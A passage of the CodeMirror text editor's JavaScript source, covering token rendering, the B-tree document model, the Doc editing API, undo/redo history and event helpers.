fullStyle); if (title) token.title = title; return builder.content.appendChild(token); } builder.content.appendChild(content); } function buildTokenSplitSpaces(inner) { function split(old) { var out = " "; for (var i = 0; i < old.length - 2; ++i) out += i % 2 ? " " : "\u00a0"; out += " "; return out; } return function(builder, text, style, startStyle, endStyle, title) { inner(builder, text.replace(/ {3,}/g, split), style, startStyle, endStyle, title); }; } // Work around nonsense dimensions being reported for stretches of // right-to-left text. function buildTokenBadBidi(inner, order) { return function(builder, text, style, startStyle, endStyle, title) { style = style ? style + " cm-force-border" : "cm-force-border"; var start = builder.pos, end = start + text.length; for (;;) { // Find the part that overlaps with the start of this text for (var i = 0; i < order.length; i++) { var part = order[i]; if (part.to > start && part.from <= start) break; } if (part.to >= end) return inner(builder, text, style, startStyle, endStyle, title); inner(builder, text.slice(0, part.to - start), style, startStyle, null, title); startStyle = null; text = text.slice(part.to - start); start = part.to; } }; } function buildCollapsedSpan(builder, size, marker, ignoreWidget) { var widget = !ignoreWidget && marker.widgetNode; if (widget) { builder.map.push(builder.pos, builder.pos + size, widget); builder.content.appendChild(widget); } builder.pos += size; } // Outputs a number of spans to make up a line, taking highlighting // and marked text into account. function insertLineContent(line, builder, styles) { var spans = line.markedSpans, allText = line.text, at = 0; if (!spans) { for (var i = 1; i < styles.length; i+=2) builder.addToken(builder, allText.slice(at, at = styles[i]), interpretTokenStyle(styles[i+1], builder.cm.options)); return; } var len = allText.length, pos = 0, i = 1, text = "", style; var nextChange = 0, spanStyle, spanEndStyle, spanStartStyle, title, collapsed; for (;;) { if (nextChange == pos) { // Update current marker set spanStyle = spanEndStyle = spanStartStyle = title = ""; collapsed = null; nextChange = Infinity; var foundBookmarks = []; for (var j = 0; j < spans.length; ++j) { var sp = spans[j], m = sp.marker; if (sp.from <= pos && (sp.to == null || sp.to > pos)) { if (sp.to != null && nextChange > sp.to) { nextChange = sp.to; spanEndStyle = ""; } if (m.className) spanStyle += " " + m.className; if (m.startStyle && sp.from == pos) spanStartStyle += " " + m.startStyle; if (m.endStyle && sp.to == nextChange) spanEndStyle += " " + m.endStyle; if (m.title && !title) title = m.title; if (m.collapsed && (!collapsed || compareCollapsedMarkers(collapsed.marker, m) < 0)) collapsed = sp; } else if (sp.from > pos && nextChange > sp.from) { nextChange = sp.from; } if (m.type == "bookmark" && sp.from == pos && m.widgetNode) foundBookmarks.push(m); } if (collapsed && (collapsed.from || 0) == pos) { buildCollapsedSpan(builder, (collapsed.to == null ? len + 1 : collapsed.to) - pos, collapsed.marker, collapsed.from == null); if (collapsed.to == null) return; } if (!collapsed && foundBookmarks.length) for (var j = 0; j < foundBookmarks.length; ++j) buildCollapsedSpan(builder, 0, foundBookmarks[j]); } if (pos >= len) break; var upto = Math.min(len, nextChange); while (true) { if (text) { var end = pos + text.length; if (!collapsed) { var tokenText = end > upto ? text.slice(0, upto - pos) : text; builder.addToken(builder, tokenText, style ? style + spanStyle : spanStyle, spanStartStyle, pos + tokenText.length == nextChange ? spanEndStyle : "", title); } if (end >= upto) {text = text.slice(upto - pos); pos = upto; break;} pos = end; spanStartStyle = ""; } text = allText.slice(at, at = styles[i++]); style = interpretTokenStyle(styles[i++], builder.cm.options); } } } // DOCUMENT DATA STRUCTURE // By default, updates that start and end at the beginning of a line // are treated specially, in order to make the association of line // widgets and marker elements with the text behave more intuitive. function isWholeLineUpdate(doc, change) { return change.from.ch == 0 && change.to.ch == 0 && lst(change.text) == "" && (!doc.cm || doc.cm.options.wholeLineUpdateBefore); } // Perform a change on the document data structure. function updateDoc(doc, change, markedSpans, estimateHeight) { function spansFor(n) {return markedSpans ? markedSpans[n] : null;} function update(line, text, spans) { updateLine(line, text, spans, estimateHeight); signalLater(line, "change", line, change); } var from = change.from, to = change.to, text = change.text; var firstLine = getLine(doc, from.line), lastLine = getLine(doc, to.line); var lastText = lst(text), lastSpans = spansFor(text.length - 1), nlines = to.line - from.line; // Adjust the line structure if (isWholeLineUpdate(doc, change)) { // This is a whole-line replace. Treated specially to make // sure line objects move the way they are supposed to. for (var i = 0, added = []; i < text.length - 1; ++i) added.push(new Line(text[i], spansFor(i), estimateHeight)); update(lastLine, lastLine.text, lastSpans); if (nlines) doc.remove(from.line, nlines); if (added.length) doc.insert(from.line, added); } else if (firstLine == lastLine) { if (text.length == 1) { update(firstLine, firstLine.text.slice(0, from.ch) + lastText + firstLine.text.slice(to.ch), lastSpans); } else { for (var added = [], i = 1; i < text.length - 1; ++i) added.push(new Line(text[i], spansFor(i), estimateHeight)); added.push(new Line(lastText + firstLine.text.slice(to.ch), lastSpans, estimateHeight)); update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0)); doc.insert(from.line + 1, added); } } else if (text.length == 1) { update(firstLine, firstLine.text.slice(0, from.ch) + text[0] + lastLine.text.slice(to.ch), spansFor(0)); doc.remove(from.line + 1, nlines); } else { update(firstLine, firstLine.text.slice(0, from.ch) + text[0], spansFor(0)); update(lastLine, lastText + lastLine.text.slice(to.ch), lastSpans); for (var i = 1, added = []; i < text.length - 1; ++i) added.push(new Line(text[i], spansFor(i), estimateHeight)); if (nlines > 1) doc.remove(from.line + 1, nlines - 1); doc.insert(from.line + 1, added); } signalLater(doc, "change", doc, change); } // The document is represented as a BTree consisting of leaves, with // chunk of lines in them, and branches, with up to ten leaves or // other branch nodes below them. The top node is always a branch // node, and is the document object itself (meaning it has // additional methods and properties). // // All nodes have parent links. The tree is used both to go from // line numbers to line objects, and to go from objects to numbers. // It also indexes by height, and is used to convert between height // and line object, and to find the total height of the document. // // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html function LeafChunk(lines) { this.lines = lines; this.parent = null; for (var i = 0, height = 0; i < lines.length; ++i) { lines[i].parent = this; height += lines[i].height; } this.height = height; } LeafChunk.prototype = { chunkSize: function() { return this.lines.length; }, // Remove the n lines at offset 'at'. removeInner: function(at, n) { for (var i = at, e = at + n; i < e; ++i) { var line = this.lines[i]; this.height -= line.height; cleanUpLine(line); signalLater(line, "delete"); } this.lines.splice(at, n); }, // Helper used to collapse a small branch into a single leaf. collapse: function(lines) { lines.push.apply(lines, this.lines); }, // Insert the given array of lines at offset 'at', count them as // having the given height. insertInner: function(at, lines, height) { this.height += height; this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at)); for (var i = 0; i < lines.length; ++i) lines[i].parent = this; }, // Used to iterate over a part of the tree. iterN: function(at, n, op) { for (var e = at + n; at < e; ++at) if (op(this.lines[at])) return true; } }; function BranchChunk(children) { this.children = children; var size = 0, height = 0; for (var i = 0; i < children.length; ++i) { var ch = children[i]; size += ch.chunkSize(); height += ch.height; ch.parent = this; } this.size = size; this.height = height; this.parent = null; } BranchChunk.prototype = { chunkSize: function() { return this.size; }, removeInner: function(at, n) { this.size -= n; for (var i = 0; i < this.children.length; ++i) { var child = this.children[i], sz = child.chunkSize(); if (at < sz) { var rm = Math.min(n, sz - at), oldHeight = child.height; child.removeInner(at, rm); this.height -= oldHeight - child.height; if (sz == rm) { this.children.splice(i--, 1); child.parent = null; } if ((n -= rm) == 0) break; at = 0; } else at -= sz; } // If the result is smaller than 25 lines, ensure that it is a // single leaf node. if (this.size - n < 25 && (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) { var lines = []; this.collapse(lines); this.children = [new LeafChunk(lines)]; this.children[0].parent = this; } }, collapse: function(lines) { for (var i = 0; i < this.children.length; ++i) this.children[i].collapse(lines); }, insertInner: function(at, lines, height) { this.size += lines.length; this.height += height; for (var i = 0; i < this.children.length; ++i) { var child = this.children[i], sz = child.chunkSize(); if (at <= sz) { child.insertInner(at, lines, height); if (child.lines && child.lines.length > 50) { while (child.lines.length > 50) { var spilled = child.lines.splice(child.lines.length - 25, 25); var newleaf = new LeafChunk(spilled); child.height -= newleaf.height; this.children.splice(i + 1, 0, newleaf); newleaf.parent = this; } this.maybeSpill(); } break; } at -= sz; } }, // When a node has grown, check whether it should be split. maybeSpill: function() { if (this.children.length <= 10) return; var me = this; do { var spilled = me.children.splice(me.children.length - 5, 5); var sibling = new BranchChunk(spilled); if (!me.parent) { // Become the parent node var copy = new BranchChunk(me.children); copy.parent = me; me.children = [copy, sibling]; me = copy; } else { me.size -= sibling.size; me.height -= sibling.height; var myIndex = indexOf(me.parent.children, me); me.parent.children.splice(myIndex + 1, 0, sibling); } sibling.parent = me.parent; } while (me.children.length > 10); me.parent.maybeSpill(); }, iterN: function(at, n, op) { for (var i = 0; i < this.children.length; ++i) { var child = this.children[i], sz = child.chunkSize(); if (at < sz) { var used = Math.min(n, sz - at); if (child.iterN(at, used, op)) return true; if ((n -= used) == 0) break; at = 0; } else at -= sz; } } }; var nextDocId = 0; var Doc = CodeMirror.Doc = function(text, mode, firstLine) { if (!(this instanceof Doc)) return new Doc(text, mode, firstLine); if (firstLine == null) firstLine = 0; BranchChunk.call(this, [new LeafChunk([new Line("", null)])]); this.first = firstLine; this.scrollTop = this.scrollLeft = 0; this.cantEdit = false; this.cleanGeneration = 1; this.frontier = firstLine; var start = Pos(firstLine, 0); this.sel = simpleSelection(start); this.history = new History(null); this.id = ++nextDocId; this.modeOption = mode; if (typeof text == "string") text = splitLines(text); updateDoc(this, {from: start, to: start, text: text}); setSelection(this, simpleSelection(start), sel_dontScroll); }; Doc.prototype = createObj(BranchChunk.prototype, { constructor: Doc, // Iterate over the document. Supports two forms -- with only one // argument, it calls that for each line in the document. With // three, it iterates over the range given by the first two (with // the second being non-inclusive). iter: function(from, to, op) { if (op) this.iterN(from - this.first, to - from, op); else this.iterN(this.first, this.first + this.size, from); }, // Non-public interface for adding and removing lines. insert: function(at, lines) { var height = 0; for (var i = 0; i < lines.length; ++i) height += lines[i].height; this.insertInner(at - this.first, lines, height); }, remove: function(at, n) { this.removeInner(at - this.first, n); }, // From here, the methods are part of the public interface. Most // are also available from CodeMirror (editor) instances. getValue: function(lineSep) { var lines = getLines(this, this.first, this.first + this.size); if (lineSep === false) return lines; return lines.join(lineSep || "\n"); }, setValue: docMethodOp(function(code) { var top = Pos(this.first, 0), last = this.first + this.size - 1; makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length), text: splitLines(code), origin: "setValue"}, true); setSelection(this, simpleSelection(top)); }), replaceRange: function(code, from, to, origin) { from = clipPos(this, from); to = to ? clipPos(this, to) : from; replaceRange(this, code, from, to, origin); }, getRange: function(from, to, lineSep) { var lines = getBetween(this, clipPos(this, from), clipPos(this, to)); if (lineSep === false) return lines; return lines.join(lineSep || "\n"); }, getLine: function(line) {var l = this.getLineHandle(line); return l && l.text;}, getLineHandle: function(line) {if (isLine(this, line)) return getLine(this, line);}, getLineNumber: function(line) {return lineNo(line);}, getLineHandleVisualStart: function(line) { if (typeof line == "number") line = getLine(this, line); return visualLine(line); }, lineCount: function() {return this.size;}, firstLine: function() {return this.first;}, lastLine: function() {return this.first + this.size - 1;}, clipPos: function(pos) {return clipPos(this, pos);}, getCursor: function(start) { var range = this.sel.primary(), pos; if (start == null || start == "head") pos = range.head; else if (start == "anchor") pos = range.anchor; else if (start == "end" || start == "to" || start === false) pos = range.to(); else pos = range.from(); return pos; }, listSelections: function() { return this.sel.ranges; }, somethingSelected: function() {return this.sel.somethingSelected();}, setCursor: docMethodOp(function(line, ch, options) { setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options); }), setSelection: docMethodOp(function(anchor, head, options) { setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options); }), extendSelection: docMethodOp(function(head, other, options) { extendSelection(this, clipPos(this, head), other && clipPos(this, other), options); }), extendSelections: docMethodOp(function(heads, options) { extendSelections(this, clipPosArray(this, heads, options)); }), extendSelectionsBy: docMethodOp(function(f, options) { extendSelections(this, map(this.sel.ranges, f), options); }), setSelections: docMethodOp(function(ranges, primary, options) { if (!ranges.length) return; for (var i = 0, out = []; i < ranges.length; i++) out[i] = new Range(clipPos(this, ranges[i].anchor), clipPos(this, ranges[i].head)); if (primary == null) primary = Math.min(ranges.length - 1, this.sel.primIndex); setSelection(this, normalizeSelection(out, primary), options); }), addSelection: docMethodOp(function(anchor, head, options) { var ranges = this.sel.ranges.slice(0); ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor))); setSelection(this, normalizeSelection(ranges, ranges.length - 1), options); }), getSelection: function(lineSep) { var ranges = this.sel.ranges, lines; for (var i = 0; i < ranges.length; i++) { var sel = getBetween(this, ranges[i].from(), ranges[i].to()); lines = lines ? lines.concat(sel) : sel; } if (lineSep === false) return lines; else return lines.join(lineSep || "\n"); }, getSelections: function(lineSep) { var parts = [], ranges = this.sel.ranges; for (var i = 0; i < ranges.length; i++) { var sel = getBetween(this, ranges[i].from(), ranges[i].to()); if (lineSep !== false) sel = sel.join(lineSep || "\n"); parts[i] = sel; } return parts; }, replaceSelection: function(code, collapse, origin) { var dup = []; for (var i = 0; i < this.sel.ranges.length; i++) dup[i] = code; this.replaceSelections(dup, collapse, origin || "+input"); }, replaceSelections: docMethodOp(function(code, collapse, origin) { var changes = [], sel = this.sel; for (var i = 0; i < sel.ranges.length; i++) { var range = sel.ranges[i]; changes[i] = {from: range.from(), to: range.to(), text: splitLines(code[i]), origin: origin}; } var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse); for (var i = changes.length - 1; i >= 0; i--) makeChange(this, changes[i]); if (newSel) setSelectionReplaceHistory(this, newSel); else if (this.cm) ensureCursorVisible(this.cm); }), undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}), redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}), undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}), redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}), setExtending: function(val) {this.extend = val;}, getExtending: function() {return this.extend;}, historySize: function() { var hist = this.history, done = 0, undone = 0; for (var i = 0; i < hist.done.length; i++) if (!hist.done[i].ranges) ++done; for (var i = 0; i < hist.undone.length; i++) if (!hist.undone[i].ranges) ++undone; return {undo: done, redo: undone}; }, clearHistory: function() {this.history = new History(this.history.maxGeneration);}, markClean: function() { this.cleanGeneration = this.changeGeneration(true); }, changeGeneration: function(forceSplit) { if (forceSplit) this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null; return this.history.generation; }, isClean: function (gen) { return this.history.generation == (gen || this.cleanGeneration); }, getHistory: function() { return {done: copyHistoryArray(this.history.done), undone: copyHistoryArray(this.history.undone)}; }, setHistory: function(histData) { var hist = this.history = new History(this.history.maxGeneration); hist.done = copyHistoryArray(histData.done.slice(0), null, true); hist.undone = copyHistoryArray(histData.undone.slice(0), null, true); }, addLineClass: docMethodOp(function(handle, where, cls) { return changeLine(this, handle, "class", function(line) { var prop = where == "text" ? "textClass" : where == "background" ? "bgClass" : "wrapClass"; if (!line[prop]) line[prop] = cls; else if (new RegExp("(?:^|\\s)" + cls + "(?:$|\\s)").test(line[prop])) return false; else line[prop] += " " + cls; return true; }); }), removeLineClass: docMethodOp(function(handle, where, cls) { return changeLine(this, handle, "class", function(line) { var prop = where == "text" ? "textClass" : where == "background" ? "bgClass" : "wrapClass"; var cur = line[prop]; if (!cur) return false; else if (cls == null) line[prop] = null; else { var found = cur.match(new RegExp("(?:^|\\s+)" + cls + "(?:$|\\s+)")); if (!found) return false; var end = found.index + found[0].length; line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null; } return true; }); }), markText: function(from, to, options) { return markText(this, clipPos(this, from), clipPos(this, to), options, "range"); }, setBookmark: function(pos, options) { var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options), insertLeft: options && options.insertLeft, clearWhenEmpty: false, shared: options && options.shared}; pos = clipPos(this, pos); return markText(this, pos, pos, realOpts, "bookmark"); }, findMarksAt: function(pos) { pos = clipPos(this, pos); var markers = [], spans = getLine(this, pos.line).markedSpans; if (spans) for (var i = 0; i < spans.length; ++i) { var span = spans[i]; if ((span.from == null || span.from <= pos.ch) && (span.to == null || span.to >= pos.ch)) markers.push(span.marker.parent || span.marker); } return markers; }, findMarks: function(from, to, filter) { from = clipPos(this, from); to = clipPos(this, to); var found = [], lineNo = from.line; this.iter(from.line, to.line + 1, function(line) { var spans = line.markedSpans; if (spans) for (var i = 0; i < spans.length; i++) { var span = spans[i]; if (!(lineNo == from.line && from.ch > span.to || span.from == null && lineNo != from.line|| lineNo == to.line && span.from > to.ch) && (!filter || filter(span.marker))) found.push(span.marker.parent || span.marker); } ++lineNo; }); return found; }, getAllMarks: function() { var markers = []; this.iter(function(line) { var sps = line.markedSpans; if (sps) for (var i = 0; i < sps.length; ++i) if (sps[i].from != null) markers.push(sps[i].marker); }); return markers; }, posFromIndex: function(off) { var ch, lineNo = this.first; this.iter(function(line) { var sz = line.text.length + 1; if (sz > off) { ch = off; return true; } off -= sz; ++lineNo; }); return clipPos(this, Pos(lineNo, ch)); }, indexFromPos: function (coords) { coords = clipPos(this, coords); var index = coords.ch; if (coords.line < this.first || coords.ch < 0) return 0; this.iter(this.first, coords.line, function (line) { index += line.text.length + 1; }); return index; }, copy: function(copyHistory) { var doc = new Doc(getLines(this, this.first, this.first + this.size), this.modeOption, this.first); doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft; doc.sel = this.sel; doc.extend = false; if (copyHistory) { doc.history.undoDepth = this.history.undoDepth; doc.setHistory(this.getHistory()); } return doc; }, linkedDoc: function(options) { if (!options) options = {}; var from = this.first, to = this.first + this.size; if (options.from != null && options.from > from) from = options.from; if (options.to != null && options.to < to) to = options.to; var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from); if (options.sharedHist) copy.history = this.history; (this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist}); copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}]; copySharedMarkers(copy, findSharedMarkers(this)); return copy; }, unlinkDoc: function(other) { if (other instanceof CodeMirror) other = other.doc; if (this.linked) for (var i = 0; i < this.linked.length; ++i) { var link = this.linked[i]; if (link.doc != other) continue; this.linked.splice(i, 1); other.unlinkDoc(this); detachSharedMarkers(findSharedMarkers(this)); break; } // If the histories were shared, split them again if (other.history == this.history) { var splitIds = [other.id]; linkedDocs(other, function(doc) {splitIds.push(doc.id);}, true); other.history = new History(null); other.history.done = copyHistoryArray(this.history.done, splitIds); other.history.undone = copyHistoryArray(this.history.undone, splitIds); } }, iterLinkedDocs: function(f) {linkedDocs(this, f);}, getMode: function() {return this.mode;}, getEditor: function() {return this.cm;} }); // Public alias. Doc.prototype.eachLine = Doc.prototype.iter; // Set up methods on CodeMirror's prototype to redirect to the editor's document. var dontDelegate = "iter insert remove copy getEditor".split(" "); for (var prop in Doc.prototype) if (Doc.prototype.hasOwnProperty(prop) && indexOf(dontDelegate, prop) < 0) CodeMirror.prototype[prop] = (function(method) { return function() {return method.apply(this.doc, arguments);}; })(Doc.prototype[prop]); eventMixin(Doc); // Call f for all linked documents. function linkedDocs(doc, f, sharedHistOnly) { function propagate(doc, skip, sharedHist) { if (doc.linked) for (var i = 0; i < doc.linked.length; ++i) { var rel = doc.linked[i]; if (rel.doc == skip) continue; var shared = sharedHist && rel.sharedHist; if (sharedHistOnly && !shared) continue; f(rel.doc, shared); propagate(rel.doc, doc, shared); } } propagate(doc, null, true); } // Attach a document to an editor. function attachDoc(cm, doc) { if (doc.cm) throw new Error("This document is already in use."); cm.doc = doc; doc.cm = cm; estimateLineHeights(cm); loadMode(cm); if (!cm.options.lineWrapping) findMaxLine(cm); cm.options.mode = doc.modeOption; regChange(cm); } // LINE UTILITIES // Find the line object corresponding to the given line number. function getLine(doc, n) { n -= doc.first; if (n < 0 || n >= doc.size) throw new Error("There is no line " + (n + doc.first) + " in the document."); for (var chunk = doc; !chunk.lines;) { for (var i = 0;; ++i) { var child = chunk.children[i], sz = child.chunkSize(); if (n < sz) { chunk = child; break; } n -= sz; } } return chunk.lines[n]; } // Get the part of a document between two positions, as an array of // strings. function getBetween(doc, start, end) { var out = [], n = start.line; doc.iter(start.line, end.line + 1, function(line) { var text = line.text; if (n == end.line) text = text.slice(0, end.ch); if (n == start.line) text = text.slice(start.ch); out.push(text); ++n; }); return out; } // Get the lines between from and to, as array of strings. function getLines(doc, from, to) { var out = []; doc.iter(from, to, function(line) { out.push(line.text); }); return out; } // Update the height of a line, propagating the height change // upwards to parent nodes. function updateLineHeight(line, height) { var diff = height - line.height; if (diff) for (var n = line; n; n = n.parent) n.height += diff; } // Given a line object, find its line number by walking up through // its parent links. function lineNo(line) { if (line.parent == null) return null; var cur = line.parent, no = indexOf(cur.lines, line); for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) { for (var i = 0;; ++i) { if (chunk.children[i] == cur) break; no += chunk.children[i].chunkSize(); } } return no + cur.first; } // Find the line at the given vertical position, using the height // information in the document tree. function lineAtHeight(chunk, h) { var n = chunk.first; outer: do { for (var i = 0; i < chunk.children.length; ++i) { var child = chunk.children[i], ch = child.height; if (h < ch) { chunk = child; continue outer; } h -= ch; n += child.chunkSize(); } return n; } while (!chunk.lines); for (var i = 0; i < chunk.lines.length; ++i) { var line = chunk.lines[i], lh = line.height; if (h < lh) break; h -= lh; } return n + i; } // Find the height above the given line. function heightAtLine(lineObj) { lineObj = visualLine(lineObj); var h = 0, chunk = lineObj.parent; for (var i = 0; i < chunk.lines.length; ++i) { var line = chunk.lines[i]; if (line == lineObj) break; else h += line.height; } for (var p = chunk.parent; p; chunk = p, p = chunk.parent) { for (var i = 0; i < p.children.length; ++i) { var cur = p.children[i]; if (cur == chunk) break; else h += cur.height; } } return h; } // Get the bidi ordering for the given line (and cache it). Returns // false for lines that are fully left-to-right, and an array of // BidiSpan objects otherwise. function getOrder(line) { var order = line.order; if (order == null) order = line.order = bidiOrdering(line.text); return order; } // HISTORY function History(startGen) { // Arrays of change events and selections. Doing something adds an // event to done and clears undo. Undoing moves events from done // to undone, redoing moves them in the other direction. this.done = []; this.undone = []; this.undoDepth = Infinity; // Used to track when changes can be merged into a single undo // event this.lastModTime = this.lastSelTime = 0; this.lastOp = this.lastSelOp = null; this.lastOrigin = this.lastSelOrigin = null; // Used by the isClean() method this.generation = this.maxGeneration = startGen || 1; } // Create a history change event from an updateDoc-style change // object. function historyChangeFromChange(doc, change) { var histChange = {from: copyPos(change.from), to: changeEnd(change), text: getBetween(doc, change.from, change.to)}; attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1); linkedDocs(doc, function(doc) {attachLocalSpans(doc, histChange, change.from.line, change.to.line + 1);}, true); return histChange; } // Pop all selection events off the end of a history array. Stop at // a change event. function clearSelectionEvents(array) { while (array.length) { var last = lst(array); if (last.ranges) array.pop(); else break; } } // Find the top change event in the history. Pop off selection // events that are in the way. function lastChangeEvent(hist, force) { if (force) { clearSelectionEvents(hist.done); return lst(hist.done); } else if (hist.done.length && !lst(hist.done).ranges) { return lst(hist.done); } else if (hist.done.length > 1 && !hist.done[hist.done.length - 2].ranges) { hist.done.pop(); return lst(hist.done); } } // Register a change in the history. Merges changes that are within // a single operation, ore are close together with an origin that // allows merging (starting with "+") into a single event. function addChangeToHistory(doc, change, selAfter, opId) { var hist = doc.history; hist.undone.length = 0; var time = +new Date, cur; if ((hist.lastOp == opId || hist.lastOrigin == change.origin && change.origin && ((change.origin.charAt(0) == "+" && doc.cm && hist.lastModTime > time - doc.cm.options.historyEventDelay) || change.origin.charAt(0) == "*")) && (cur = lastChangeEvent(hist, hist.lastOp == opId))) { // Merge this change into the last event var last = lst(cur.changes); if (cmp(change.from, change.to) == 0 && cmp(change.from, last.to) == 0) { // Optimized case for simple insertion -- don't want to add // new changesets for every character typed last.to = changeEnd(change); } else { // Add new sub-event cur.changes.push(historyChangeFromChange(doc, change)); } } else { // Can not be merged, start a new event. var before = lst(hist.done); if (!before || !before.ranges) pushSelectionToHistory(doc.sel, hist.done); cur = {changes: [historyChangeFromChange(doc, change)], generation: hist.generation}; hist.done.push(cur); while (hist.done.length > hist.undoDepth) { hist.done.shift(); if (!hist.done[0].ranges) hist.done.shift(); } } hist.done.push(selAfter); hist.generation = ++hist.maxGeneration; hist.lastModTime = hist.lastSelTime = time; hist.lastOp = hist.lastSelOp = opId; hist.lastOrigin = hist.lastSelOrigin = change.origin; if (!last) signal(doc, "historyAdded"); } function selectionEventCanBeMerged(doc, origin, prev, sel) { var ch = origin.charAt(0); return ch == "*" || ch == "+" && prev.ranges.length == sel.ranges.length && prev.somethingSelected() == sel.somethingSelected() && new Date - doc.history.lastSelTime <= (doc.cm ? doc.cm.options.historyEventDelay : 500); } // Called whenever the selection changes, sets the new selection as // the pending selection in the history, and pushes the old pending // selection into the 'done' array when it was significantly // different (in number of selected ranges, emptiness, or time). function addSelectionToHistory(doc, sel, opId, options) { var hist = doc.history, origin = options && options.origin; // A new event is started when the previous origin does not match // the current, or the origins don't allow matching. Origins // starting with * are always merged, those starting with + are // merged when similar and close together in time. if (opId == hist.lastSelOp || (origin && hist.lastSelOrigin == origin && (hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin || selectionEventCanBeMerged(doc, origin, lst(hist.done), sel)))) hist.done[hist.done.length - 1] = sel; else pushSelectionToHistory(sel, hist.done); hist.lastSelTime = +new Date; hist.lastSelOrigin = origin; hist.lastSelOp = opId; if (options && options.clearRedo !== false) clearSelectionEvents(hist.undone); } function pushSelectionToHistory(sel, dest) { var top = lst(dest); if (!(top && top.ranges && top.equals(sel))) dest.push(sel); } // Used to store marked span information in the history. function attachLocalSpans(doc, change, from, to) { var existing = change["spans_" + doc.id], n = 0; doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) { if (line.markedSpans) (existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans; ++n; }); } // When un/re-doing restores text containing marked spans, those // that have been explicitly cleared should not be restored. function removeClearedSpans(spans) { if (!spans) return null; for (var i = 0, out; i < spans.length; ++i) { if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); } else if (out) out.push(spans[i]); } return !out ? spans : out.length ? out : null; } // Retrieve and filter the old marked spans stored in a change event. function getOldSpans(doc, change) { var found = change["spans_" + doc.id]; if (!found) return null; for (var i = 0, nw = []; i < change.text.length; ++i) nw.push(removeClearedSpans(found[i])); return nw; } // Used both to provide a JSON-safe object in .getHistory, and, when // detaching a document, to split the history in two function copyHistoryArray(events, newGroup, instantiateSel) { for (var i = 0, copy = []; i < events.length; ++i) { var event = events[i]; if (event.ranges) { copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event); continue; } var changes = event.changes, newChanges = []; copy.push({changes: newChanges}); for (var j = 0; j < changes.length; ++j) { var change = changes[j], m; newChanges.push({from: change.from, to: change.to, text: change.text}); if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\d+)$/)) { if (indexOf(newGroup, Number(m[1])) > -1) { lst(newChanges)[prop] = change[prop]; delete change[prop]; } } } } return copy; } // Rebasing/resetting history to deal with externally-sourced changes function rebaseHistSelSingle(pos, from, to, diff) { if (to < pos.line) { pos.line += diff; } else if (from < pos.line) { pos.line = from; pos.ch = 0; } } // Tries to rebase an array of history events given a change in the // document. If the change touches the same lines as the event, the // event, and everything 'behind' it, is discarded. If the change is // before the event, the event's positions are updated. Uses a // copy-on-write scheme for the positions, to avoid having to // reallocate them all on every rebase, but also avoid problems with // shared position objects being unsafely updated. function rebaseHistArray(array, from, to, diff) { for (var i = 0; i < array.length; ++i) { var sub = array[i], ok = true; if (sub.ranges) { if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; } for (var j = 0; j < sub.ranges.length; j++) { rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff); rebaseHistSelSingle(sub.ranges[j].head, from, to, diff); } continue; } for (var j = 0; j < sub.changes.length; ++j) { var cur = sub.changes[j]; if (to < cur.from.line) { cur.from = Pos(cur.from.line + diff, cur.from.ch); cur.to = Pos(cur.to.line + diff, cur.to.ch); } else if (from <= cur.to.line) { ok = false; break; } } if (!ok) { array.splice(0, i + 1); i = 0; } } } function rebaseHist(hist, change) { var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1; rebaseHistArray(hist.done, from, to, diff); rebaseHistArray(hist.undone, from, to, diff); } // EVENT UTILITIES // Due to the fact that we still support jurassic IE versions, some // compatibility wrappers are needed. var e_preventDefault = CodeMirror.e_preventDefault = function(e) { if (e.preventDefault) e.preventDefault(); else e.returnValue = false; }; var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) { if (e.stopPropagation) e.stopPropagation(); else e.cancelBubble = true; }; function e_defaultPrevented(e) { return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false; } var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);}; function e_target(e) {return e.target || e.srcElement;} function e_button(e) { var b = e.which; if (b == null) { if (e.button & 1) b = 1; else if (e.button & 2) b = 3; else if (e.button & 4) b = 2; } if (mac && e.ctrlKey && b == 1) b = 3; return b; } // EVENT HANDLING // Lightweight event framework. on/off also work on DOM nodes, // registering native DOM handlers. var on = CodeMirror.on = function(emitter, type, f) { if (emitter.addEventListener) emitter.addEventListener(type, f, false); else if (emitter.attachEvent) emitter.attachEvent("on" + type, f); else { var map = emitter._handlers || (emitter._handlers = {}); var arr = map[type] || (map[type] = []); arr.push(f); } }; var off = CodeMirror.off = function(emitter, type, f) { if (emitter.removeEventListener) emitter.removeEventListener(type, f, false); else if (emitter.detachEvent) emitter.detachEvent("on" + type, f); else { var arr = emitter._handlers && emitter._handlers[type]; if (!arr) return; for (var i = 0; i < arr.length; ++i) if (arr[i] == f) { arr.splice(i, 1); break; } } }; var signal = CodeMirror.signal = function(emitter, type /*, values...*/) { var arr = emitter._handlers 